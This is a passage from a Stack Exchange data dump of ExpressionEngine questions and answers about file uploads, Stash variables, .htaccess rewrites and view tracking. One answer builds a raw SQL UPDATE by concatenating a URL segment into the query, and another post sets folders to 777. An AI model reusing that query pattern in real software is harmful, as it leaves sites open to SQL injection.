(Mobile)&amp;lt;/span&amp;gt;&#xA;    &amp;lt;div class=&quot;formHelp&quot;&amp;gt;Please provide a set of screen grabs with details, that can be used for promotional purposes.&amp;lt;/div&amp;gt;&#xA;    {field:website_screens_mobile}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;formControls&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot; class=&quot;submit&quot;&amp;gt;Save Entry&amp;lt;/button&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's other problems with this combination when it comes to proper error messages being parsed through, but will get this working first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uploading to the second Matrix field works as expected in the EE control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would love some assistance as I'm really quite ready to punch someone fair square in the face...this shit should work by now!!!&lt;/p&gt;&#xA;" OwnerUserId="347" LastEditorUserId="347" LastEditDate="2013-07-13T06:52:45.597" LastActivityDate="2013-07-18T07:54:26.430" Title="Problem with Safecracker File in a second Matrix field not uploading file" Tags="|matrix|safecracker|safecracker-file|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11899" PostTypeId="1" CreationDate="2013-07-13T06:52:38.440" Score="1" ViewCount="97" Body="&lt;p&gt;I have a Safecracker form with a couple of Matrix fields, both of which have Safecracker File fields in them. On testing them, I've been trying to break the form by uploading files outside of the specifications set in the File Upload preference - both in pixel size, file size and file type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Testing all situations, the file's are actually getting uploaded if they're the correct file type but larger in pixel and file size are allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't allow for file uploads of a different type though, but frustratingly also doesn't display any error messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.5.5, Matrix v2.5.6, Safecracker File v2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample template code for the two fields below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker &#xA;    channel=&quot;awaentry&quot; &#xA;    return=&quot;entries/nomination/URL_TITLE/success&quot; &#xA;    id=&quot;award-entry-form&quot;&#xA;    class=&quot;standard-form&quot;&#xA;    url_title=&quot;{segment_3}&quot;&#xA;    include_jquery=&quot;no&quot;&#xA;    author_only=&quot;yes&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;}&#xA;&#xA;{global_errors}&amp;lt;div class=&quot;alert&quot;&amp;gt;&#xA;    {error}&#xA;&amp;lt;/div&amp;gt;{/global_errors}&#xA;&#xA;{field_errors}&amp;lt;div class=&quot;alert&quot;&amp;gt;&#xA;    {error}&#xA;&amp;lt;/div&amp;gt;{/field_errors}&#xA;&#xA;&amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;label&quot;&amp;gt;Screen Grabs (Desktop)&amp;lt;/span&amp;gt;&#xA;    &amp;lt;div class=&quot;formHelp&quot;&amp;gt;Please provide a set of screen grabs with details, that can be used for promotional purposes.&amp;lt;/div&amp;gt;&#xA;    {field:website_screens}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;label&quot;&amp;gt;Screen Grabs (Mobile)&amp;lt;/span&amp;gt;&#xA;    &amp;lt;div class=&quot;formHelp&quot;&amp;gt;Please provide a set of screen grabs with details, that can be used for promotional purposes.&amp;lt;/div&amp;gt;&#xA;    {field:website_screens_mobile}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;formControls&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot; class=&quot;submit&quot;&amp;gt;Save Entry&amp;lt;/button&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone come across these problems before? A search seems to say no, well not that has been reported anyway. Changelogs for EE v2.6.1 don't mention anything specific to this problem.&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2013-07-13T06:52:38.440" Title="Forced inline errors (testing) using Matrix and Safecracker File not working" Tags="|matrix|safecracker|safecracker-file|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11900" PostTypeId="1" CreationDate="2013-07-13T11:50:56.990" Score="0" ViewCount="55" Body="&lt;p&gt;I'm using Low Variables v235 with Expression Engine Core. I'm trying to create a new variable which uses Matrix, but something isn't right. Matrix won't allow me to add a new column. There are no + signs below the cells, and the formatting doesn't look quite right. When I tried to create a new entry, the line 'No rows exist yet. Create the first one.' appears, but won't let me click on Create the first one, even though it appears as a link. The cursor remains as a text selector, rather than changing to the 'finger' like it should if it were a link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uploaded Low Variables again just in case there was something wrong (both system and theme files) with the first installation, but i'm having the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used LV before, with Matrix, and haven't had this problem. I just don't know what's wrong this time. &lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2013-07-13T11:50:56.990" Title="Low Variables not allowing new cell or entries when using Matrix" Tags="|ee2|matrix|low-variables|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11902" PostTypeId="2" ParentId="11879" CreationDate="2013-07-13T17:44:02.783" Score="1" Body="&lt;p&gt;create() method in pagination library was only added in EE 2.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one of my modules, I use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('app_version') &amp;gt;= 260)&#xA;{&#xA;$pagination = $this-&amp;gt;EE-&amp;gt;pagination-&amp;gt;create(__CLASS__);&#xA;}&#xA;else&#xA;{&#xA;$pagination = new Pagination_object(__CLASS__);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-07-13T17:44:02.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11903" PostTypeId="1" AcceptedAnswerId="11951" CreationDate="2013-07-13T18:42:47.657" Score="0" ViewCount="287" Body="&lt;p&gt;I moved my MSM installation to a new server and now am unable see uploaded images on the front end of either site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My setup looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;└── domain1.com&#xA;    ├── admin.php&#xA;    ├── index.php&#xA;    └── assets&#xA;        ├── css&#xA;        ├── img&#xA;        ├── js&#xA;        └── templates&#xA;             ├── default&#xA;             └── domain2&#xA;    ├── images&#xA;    ├── system&#xA;    ├── themes&#xA;    └── domain2.com&#xA;        ├── admin.php&#xA;        └── index.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I visit domain1.com or domain2.com front end I can only see background images set through css (contained in '/assets/img' folder.  I cannot see any of the images rendered through EE in the 'images' folder.  Permissions are set to '777' for all image folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I log into the backend I can see the images in file manager and view them as well by clicking on them - images are rendered correctly.  I changed image uploaded preference paths for all folders after moving the site and assume these are correct as I can see the images in the back end as previously mentioned.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a bit baffled here.  I have cleared browser and EE cache. Any ideas?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;** Edits to included information requested **&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.htaccess&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Options -Indexes&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have simply dropped in the .htaccess from the previous domain, but I have noticed that this is not working.  To access deeper pages I am still have to add the &quot;index.php&quot; unfortunately.  This htaccess did work correctly on previous domain. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Check your upload preferences paths are correct. On the frontend can you target the (uploaded) images directly? Yes, I can navigate directly to an image so I assume the path are correct.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can you access domain2.com from the frontend? Yes, and domain2 has the exact same issue as well, backend css images work, images uploaded through CP do not. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With that folder structure you might have issues with being able to&#xA;access domain2 from domain1. e.g. domain1.com/domain2.com – I may need to clarify: I was using domain1.com and domain2.com for simplicity really I am dealing with a cPanel and an addon domain.  So domain one is in the cPanel account and domain2.com is simple a folder inside that currently.  I am going to add the subdomains dev.domain1.com and dev.domain2.com to these sites as I figured this would allow more direct access for EE and maybe the url structure is confusing EE.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="902" LastEditorUserId="902" LastEditDate="2013-07-14T16:18:16.990" LastActivityDate="2013-07-16T08:25:03.663" Title="Moved MSM site to new server now images wont show on frontend" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11905" PostTypeId="2" ParentId="11801" CreationDate="2013-07-14T06:45:42.890" Score="1" Body="&lt;p&gt;With Social Login Pro, you can let user add connection to LinkedIn profile after he's already registered and logged in to your system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is what you're asking, as the question is not too clear :)&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-07-14T06:45:42.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11906" PostTypeId="2" ParentId="11776" CreationDate="2013-07-14T08:44:19.873" Score="0" Body="&lt;p&gt;I'm not sure whether Safecracker Registration handles templating the forgot password process, but if not there are other add-ons which can do this. For example, &lt;a href=&quot;https://github.com/expressodev/freemember&quot; rel=&quot;nofollow&quot;&gt;Freemember&lt;/a&gt; lets you template your own reset password page once the user clicks a link in their email.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-07-14T08:44:19.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11907" PostTypeId="1" AcceptedAnswerId="11958" CreationDate="2013-07-14T08:48:31.240" Score="1" ViewCount="678" Body="&lt;p&gt;I'm trying to get a Channel entry made by a particular member id (there will always be just 1 entry) and store it in a Stash variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    author_id=&quot;{segment_2}&quot;&#xA;    channel=&quot;profiles&quot;&#xA;    disable=&quot;categories|category_fields|custom_fields|member_data|pagination&quot;&#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;    &amp;lt;h4&amp;gt;Works: {entry_id}&amp;lt;/h4&amp;gt;&#xA;    {exp:stash:entry_id}{entry_id}{/exp:stash:entry_id}&#xA;    &amp;lt;h4&amp;gt;Works: {exp:stash:entry_id}&amp;lt;/h4&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;h4&amp;gt;Does NOT Work: {exp:stash:entry_id}&amp;lt;/h4&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why do I not have access to the Stash variable's value outside the loop?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My ultimate goal is to use that variable in another loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;profiles&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;    entry_id=&quot;{exp:stash:entry_id}&quot;&#xA;    limit=&quot;1&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I'm already worried I'll run into parse order issues.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-07-24T07:49:50.223" Title="Stash - what is the scope of variables?" Tags="|templates|stash|template-scripting|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11908" PostTypeId="1" AcceptedAnswerId="11909" CreationDate="2013-07-14T10:23:40.747" Score="2" ViewCount="455" Body="&lt;p&gt;I need to implement some business rules based on the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The current user's &lt;code&gt;{group_id}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The group id of the author of a particular Channel entry&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I need to implement this rule within the {exp:channel:entries}, I suppose. In that loop, I'll have access to {author_id}, which possibly could be used somehow to get it's associated group id???&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-07-14T10:55:59.327" Title="How to get group_id of a Channel entry's author?" Tags="|channel-entries|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11909" PostTypeId="2" ParentId="11908" CreationDate="2013-07-14T10:55:59.327" Score="5" Body="&lt;p&gt;Documentation is a good place to start:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/member/index.html#custom-profile-data-tag&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/member/index.html#custom-profile-data-tag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{member_group} or {group_id}&#xA;{member_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also (if in channel:entries tag pair and don't want conflict):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{logged_in_member_id}&#xA;{logged_in_group_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Entry Authors details:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {author_id} or {member_id} will be the same inside entries loop&#xA;    {group_id} will be authors group inside entries loop&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Get custom member details:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:custom_profile_data member_id=&quot;?????&quot;}&#xA;{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-07-14T10:55:59.327" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11910" PostTypeId="2" ParentId="11855" CreationDate="2013-07-14T11:47:09.507" Score="3" Body="&lt;p&gt;Because view tracking has to be unique, if it's not based on a unique dynamic URL then EE doesn't know it's unique, so you could be rendering out multiple entries on the same URL but specifying different segments or even hard-coding url_title and EE won't know which one is the unqiue one for that URL/page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question: no you can't use dynamic=&quot;no&quot; and expect track_views parameter to save it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So where does that leave you? Either you have to restructure your URLs so they can be dynamic or cheat:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use an add-on: &lt;a href=&quot;http://devot-ee.com/add-ons/external-entries&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devot-ee.com/add-ons/external-entries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SQL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_titles SET view_count_one = view_count_one + 1 WHERE url_title = &quot;{segment_3}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or add PHP to a template (remember to activate PHP on template - set to output):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $EE = &amp;amp; get_instance();&#xA;    $EE-&amp;gt;db-&amp;gt;query(&quot;UPDATE exp_channel_titles SET view_count_one = view_count_one + 1 WHERE url_title = '&quot;.$EE-&amp;gt;uri-&amp;gt;segment(3).&quot;'&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This shortened version might work (would need to test it):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    ee()-&amp;gt;db-&amp;gt;query(&quot;UPDATE exp_channel_titles SET view_count_one = view_count_one + 1 WHERE url_title = '&quot;.ee()-&amp;gt;uri-&amp;gt;segment(3).&quot;'&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or even...:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;UPDATE exp_channel_titles SET view_count_one = view_count_one + 1 WHERE url_title = '&quot;.$this-&amp;gt;EE-&amp;gt;uri-&amp;gt;segment(3).&quot;'&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or neater:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where(url_title, $this-&amp;gt;EE-&amp;gt;uri-&amp;gt;segment(3));&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;update('channel_titles', view_count_one = view_count_one + 1);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously this would need to be thoroughly tested! You will need EE conditionals around the PHP to prevent false triggering under different circumstances. Then if the conditional is false, the PHP won't get parsed by EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note, there's a good reason the EE query tags don't support UPDATE and INSERT, so by adding it to your template, not only could there be security issues, but it could also muck up your tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Updated to reflect &lt;a href=&quot;https://expressionengine.stackexchange.com/users/19/yuri-salimovskiy&quot;&gt;Yuri's&lt;/a&gt; suggestion&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-07-14T16:59:33.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11911" PostTypeId="2" ParentId="11907" CreationDate="2013-07-14T14:38:56.390" Score="0" Body="&lt;p&gt;Not sure if this is the most trim way to do what you're asking, but it should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;cached_entryid&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries&#xA;        author_id=&quot;{segment_2}&quot;&#xA;        channel=&quot;profiles&quot;&#xA;        disable=&quot;categories|category_fields|custom_fields|member_data|pagination&quot;&#xA;        dynamic=&quot;no&quot;&#xA;    }&#xA;        {stash:eid}{entry_id}{/stash:eid}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list name='cached_entryid'}&#xA;    {exp:channel:entries&#xA;        channel=&quot;profiles&quot;&#xA;        disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;        entry_id=&quot;{eid}&quot;&#xA;        limit=&quot;1&quot;&#xA;    }&#xA;        ENTRY ID: {eid}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Uses set_list instead of set. &lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-07-14T14:38:56.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11912" PostTypeId="1" CreationDate="2013-07-14T18:25:13.773" Score="1" ViewCount="46" Body="&lt;p&gt;We are working on multiple sites within an MSM installation and we need to create an administrative member group that has access to edit and approve members from only ONE single member group. We would like to hide all other members except for the single member group that they have administrative rights to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can we do this?&lt;/p&gt;&#xA;" OwnerUserId="1770" LastActivityDate="2013-07-14T18:25:13.773" Title="Hiding all other members except for the single member group" Tags="|multi-site-manager|ee1|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11913" PostTypeId="1" CreationDate="2013-07-14T20:16:31.660" Score="1" ViewCount="885" Body="&lt;p&gt;I have a site setup with a template directory called “pages” so I can call to the pages with the following URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sitename.com/pages/page-name&quot; rel=&quot;nofollow&quot;&gt;http://sitename.com/pages/page-name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for SEO reasons I would prefer to remove the “pages” part of the URL so that it reads as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sitename.com/page-name&quot; rel=&quot;nofollow&quot;&gt;http://sitename.com/page-name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A search on Google has presented some possible solutions but there is some type of conflict. Perhaps with the my rules to remove “index.php”? Can anyone offer any pointers? Below is my current redirect conditions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  Options +FollowSymlinks&#xA;# Options +SymLinksIfOwnerMatch&#xA;  RewriteEngine On&#xA;# BEGIN ExpressionEngine Rewrite&#xA;  RewriteBase /&#xA;  RewriteCond %{REQUEST_FILENAME} !-f&#xA;  RewriteCond %{REQUEST_FILENAME} !-d&#xA;  RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;  RewriteRule ^(.*)$ /index.php?$1 [L]&#xA;# END ExpressionEngine Rewrite&#xA;&amp;lt;/IfModule&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1771" LastActivityDate="2013-07-15T01:18:58.577" Title="Removing Directory from URL with .htaccess" Tags="|htaccess|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11914" PostTypeId="2" ParentId="11855" CreationDate="2013-07-15T01:18:09.193" Score="1" Body="&lt;p&gt;Have you tried out &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html#relaxed-track-views&quot; rel=&quot;nofollow&quot;&gt;relaxed_track_views&lt;/a&gt;?  You'd add it to /system/expressionengine/config/config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['relaxed_track_views'] = 'y';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on the comments you have Query Caching on, so in the end it wasn't a template issue at all - but needing to use the config.php option or turn off Query Caching.&lt;/p&gt;&#xA;" OwnerUserId="563" LastEditorUserId="563" LastEditDate="2013-07-21T05:54:29.267" LastActivityDate="2013-07-21T05:54:29.267" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="11915" PostTypeId="2" ParentId="11913" CreationDate="2013-07-15T01:18:58.577" Score="1" Body="&lt;p&gt;Does the 'pages' group contain your homepage? If so, just turn Strict URLs off.  Then you can access /pages/my-page at /my-page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turning off Strict URLs makes the URLs less... strict. You will have to more 404 handling yourself. You will have to put some conditionals in your pages to check for extra segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the template blog/post might display a post with a URL of /blog/post/my-blog-post.&lt;br&gt;&#xA;However, you could access the exact same page at /blog/post/my-blog-post/extra/segments/blah/blah. Google would see these as different pages. Duplicate content, bad for SEO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, add to your template something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3}{redirect=&quot;404&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-07-15T01:18:58.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11916" PostTypeId="2" ParentId="11907" CreationDate="2013-07-15T01:24:24.037" Score="0" Body="&lt;p&gt;You can probably wrap the channel entries loop with stash tags, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot;}&#xA;  {exp:channel:entries ...}&#xA;    {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:stash:get name=&quot;entry_id&quot;}&#xA;or {exp:stash:entry_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-07-15T01:24:24.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11917" PostTypeId="1" AcceptedAnswerId="12251" CreationDate="2013-07-15T03:32:40.480" Score="0" ViewCount="59" Body="&lt;p&gt;I have a billing form for plans/subscriptions that are not free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when trying to submit the form with empty credit card number, it processes the form as valid and subscribes the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the default behaviour? If not, are there options to prevent this? Or do I need to implement my own hook for it?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-07-25T14:19:34.397" Title="Membrr - Credit Card Number not required?" Tags="|membrr|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11918" PostTypeId="1" AcceptedAnswerId="11923" CreationDate="2013-07-15T03:48:25.277" Score="0" ViewCount="326" Body="&lt;p&gt;I'm using the channel entries search parameter to filter entries based on the value in a segment. However, I've just spotted that some of these segments contain ampersands, and these don't work correctly when filtering channel entries in this way. Is there a way around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example URL that I'm having issues with: mywebsite.com/regions/Yorkshire &amp;amp; Humberside&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The spaces work fine as they are automatically converted into %20, like this: mywebsite.com/regions/Yorkshire%20&amp;amp;%20Humberside, which seems to work fine in EE. But the ampersand doesn't get converted into anything, so my segment is being ignored after the ampersand, so my filtering isn't working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried changing the ampersand to &lt;strong&gt;%26&lt;/strong&gt;, like this: mywebsite.com/regions/Yorkshire%20%26%20Humberside but that doesn't make any difference. I've also tried changing the ampersand to &lt;strong&gt;&amp;amp; amp;&lt;/strong&gt; (I've added a space here as EESE keeps converting this into an ampersand if I write it out correctly) like this: mywebsite.com/regions/Yorkshire%20&amp;amp; amp;%20Humberside, but that just gave me the following error: The URI you submitted has disallowed characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what my channel entries tag looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;location&quot; status=&quot;open&quot; limit=&quot;1000&quot; dynamic=&quot;no&quot; search:cf_location_region=&quot;{segment_2}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone think of any workarounds to this? I can't use categories due to the way in which I'm getting the data from an external data source. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-07-15T10:14:14.850" Title="How to handle ampersands in URL segments" Tags="|channel-entries|url|segments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11919" PostTypeId="1" AcceptedAnswerId="12165" CreationDate="2013-07-15T05:01:54.040" Score="2" ViewCount="160" Body="&lt;p&gt;I'm getting the following error a number of times on the Edit Entry page in the Control Panel after upgrading to Playa 4.4.4 on EE 2.5.5:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Array to string conversion&#xA;Filename: playa/helper.php&#xA;Line Number: 179&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The front end seems to be ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP version is 5.2.17.&lt;/p&gt;&#xA;" OwnerUserId="763" LastActivityDate="2013-07-22T13:23:13.873" Title="PHP errors after upgrading to Playa 4.4.4" Tags="|playa|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11920" PostTypeId="1" CreationDate="2013-07-15T06:43:15.770" Score="0" ViewCount="45" Body="&lt;p&gt;MY question is there core file in Expresso Store extension which is not update when we update Expresso Store extension .I want to call a hook after payment successful so i want if Expresso Store update my code not remove&lt;/p&gt;&#xA;" OwnerUserId="1772" LastEditorUserId="268" LastEditDate="2013-07-30T10:16:15.777" LastActivityDate="2013-07-30T10:16:15.777" Title="Expresso Store core files" Tags="|expresso-store|add-on|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
